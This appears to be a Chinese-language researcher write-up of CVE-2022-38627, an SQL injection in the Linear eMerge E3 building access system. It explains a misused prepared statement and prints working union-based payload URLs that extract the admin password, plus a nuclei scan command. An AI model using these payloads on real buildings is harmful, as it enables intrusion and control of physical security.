介绍:
在这项研究中,我将向您展示我是如何找到这个关键的 0day 漏洞的,它让我可以控制整个企业大楼管理系统(门、摄像头、电梯等……)除此之外,我还可以获取员工数据,并添加新的有权访问企业大楼的权限等。
实际上,在这项研究中,你会看到类似黑客电影场景的实施,但是这是一个真实的场景。
Linear eMerge E3系列产品概要:
Linear eMerge E3 系列是楼宇管理系统中行业领先的产品之一,因为它是行业中使用最广泛的产品之一,用于控制
-
学区和校园(K12 和高等教育)
-
企业园区
-
国外州/地方政府大楼(市政中心、市政厅、警察局、监狱等)
-
公共设施
-
交通(机场、地铁、巴士站)
-
礼拜场所(教堂、大型教堂)
-
医疗设施(医院、制药公司、生物实验室等)
-
和更多
让我们开始静态分析:
我遇到了这个接口 /badging/badge_template_print.php 所以让我们看一下代码
正如您所看到的,开发人员通过“idt”参数获取用户输入,然后使用 prepare 语句将其传递给查询,用预处理机制防止 SQL 注入
但是等一下,这里的预处理有一个错误的实现方式,要知道出了什么问题,我们需要先了解什么是(预处理工作流程)
预处理如何工作:
预处理处理工作流程经过 7 个阶段
为 SQL 查询处理准备语句阶段
只是它像这样将查询传递给数据库
$sth = $db->prepare(“SELECT * FROM “.dbtable.” where No = ?”);
因为问号被称为参数占位符
那么在准备好的语句下发生的是查询将通过 7 个阶段:
1- 解析阶段:解析语法错误和拼写错误检查以确保 SQL 查询的有效性
2- 语义检查阶段:数据库管理系统 (DBMS) 确定查询的有效性。指定的列和表是否存在?用户是否有权执行此查询?
3- 绑定阶段:数据库引擎检测占位符,并使用占位符编译查询。稍后将添加用户提供的数据(像这样的占位符替换阶段)。
$sth->bindValue(1, $id, PDO::PARAM_INT);
4- 查询优化 阶段: DBMS 选择执行查询的最佳算法。
5-缓存 阶段:最好的算法保存在缓存中,所以下次执行相同的查询时会跳过前四个阶段,直接跳转到占位符替换阶段
6- 占位符替换阶段:在此阶段,占位符被用户数据替换。但是,查询已经预编译(绑定),因此最终查询不会再次经过编译阶段。出于这个原因,用户提供的数据将始终被解释为一个简单的字符串,并且不能修改原始查询的逻辑。这使得查询将不受该数据的 SQL 注入漏洞的影响。
7- 执行阶段:
$sth->execute();
然后终于查询成功执行
这些是准备语句通过以防止 SQL 注入的阶段
那么让我们重新看看这里发生了什么
开发人员将来自用户的 $id 参数放入准备好的语句中,而不是像我上面描述的那样绑定值,所以如果用户输入参数是这样的
?id=1 UNION SELECT * FROM User
那么 $sth 变量值将是这样的
$db->prepare(“SELECT * FROM User where No=1 UNION SELECT * FROM User”)
因此准备好的语句会将我们的输入作为查询的一部分(不将其视为绑定值)并且用户输入将通过第一阶段的所有阶段传递,这意味着用户输入将被视为查询的一部分作为 SQL编译器会将其编译为查询的一部分,不会被视为绑定值,因为它是从第一阶段而不是第六阶段(占位符替换)传入查询的,这将导致 SQL注入成功
$xml 变量是通过使用参数“tpl”加载 XML 文件
第一个“if 语句”强制我们加载一个包含 <picture> 标记的 XML 文件,无论如何开发人员为此创建了这个 XML 文件“aa.xml”,所以我们需要做的只是将文件名放在“tpl”参数中。如tpl=aa.xml
我们需要将第二个“if 语句”设置为 false 来执行 else,它将在页面中打印“ImageFile”列以提取数据库内容
所以在我们的开发中,我们需要连接 ImageFile 列上的输出,因为这是提取数据库的可能方式
漏洞利用:
因为我已经访问了源代码和数据库,所以我知道 ImageFile 列是“User”表 39 列中的第 12 列
所以我们将使用基于联合的有效负载来利用它,因此我们需要连接第 12 列的输出并使用 NULL 值定义其他 38 列
/badging/badge_template_print.php?tpl=aa.xml&idt=1337 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ SWVersion:’||SWVersion,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from version
输出将是版本表中的软件版本,所以我将第 12 列的输出连接起来,这将使输出看起来像这样
SWVersion:<软件版本号>
如何提取admin密码
/badging/badge_template_print.php?tpl=aa.xml&idt=1337 union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,’ Admin-ID-is:’||id||’%20Admin-Password-is:’||password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from controller
获得管理员密码后,我可以使用它们登录以从 Web 仪表板控制整个企业大楼
自动化:
为了检测漏洞,我制作了这个核心模板来扫描你的SRC列表或你的企业资产
您可以在我的Github库中找到它:
https://github.com/omarhashem123/Security-Research/tree/main/CVE-2022-38627
┌──(omar㉿kali)-[~]
└─$ nuclei -t CVE-2022–38627.yaml -l subdomains.txt
原文始发于微信公众号(军机故阁):CVE-2022-38627:Linear eMerge E3楼宇管理系统SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论